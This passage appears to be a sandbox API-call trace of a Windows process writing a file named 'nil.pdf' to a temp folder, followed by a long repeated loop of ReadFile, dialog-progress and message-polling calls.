[0068.480] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.480] OemToCharBuffA (in: lpszSrc="n", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="n") returned 1 [0068.480] CharToOemBuffA (in: lpszSrc="N", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="N") returned 1 [0068.480] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="nil.pdf") returned 8 [0068.480] FindFirstFileW (in: lpFileName="nil.pdf", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.480] GetLastError () returned 0x2 [0068.480] GetFileAttributesA (lpFileName="nil.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nil.pdf")) returned 0xffffffff [0068.480] CreateFileA (lpFileName="nil.pdf" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\nil.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.500] GetFileType (hFile=0x138) returned 0x1 [0068.500] SetFilePointer (in: hFile=0x138, lDistanceToMove=648, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x288 [0068.500] SetEndOfFile (hFile=0x138) returned 1 [0068.500] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.500] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1fe, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1fe, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.501] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.501] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.501] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.501] GetTickCount () returned 0x1fbdb [0068.501] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.501] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.501] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.501] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbdb [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbdb [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.502] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.502] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.502] GetTickCount () returned 0x1fbea [0068.502] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.502] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.503] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.503] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.503] GetTickCount () returned 0x1fbea [0068.503] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.503] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.504] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.504] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.504] GetTickCount () returned 0x1fbea [0068.504] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.504] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.504] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.504] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.504] GetTickCount () returned 0x1fbea [0068.504] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.504] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.504] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.504] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.504] GetTickCount () returned 0x1fbea [0068.504] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.504] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.504] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.504] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.504] GetTickCount () returned 0x1fbea [0068.504] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.504] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.504] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.504] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.504] GetTickCount () returned 0x1fbea [0068.504] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.504] ReadFile (in: hFile=0x1c, lpBuffer=0x270486, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270486*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.504] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.504] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.504] GetTickCount () returned 